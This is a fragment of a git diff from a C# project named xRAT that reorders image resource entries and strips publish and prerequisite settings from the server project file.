PublicKeyToken=b03f5f7f11d50a3a @@ -173,58 +182,53 @@ By using this product you agree to everything specified above. - + ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\standby.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\images\server-reconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\actions.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\restart.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\standby.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\upload.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index 9d56023a..eb7a9d0a 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -12,21 +12,6 @@ xRAT 2 v2.0 512 - publish\ - true - Disk - false - Foreground - 7 - Days - false - false - true - 0 - 1.0.0.%2a - false - false - true AnyCPU @@ -65,8 +50,6 @@ lib\Mono.Cecil.dll - - @@ -382,25 +365,9 @@ + - - - False - .NET Framework 3.5 SP1 Client Profile - false - - - False - .NET Framework 3.5 SP1 - true - - - False - Windows Installer 3.1 - true - - {1C565858-F302-471E-B409-F180AA4ABEC6}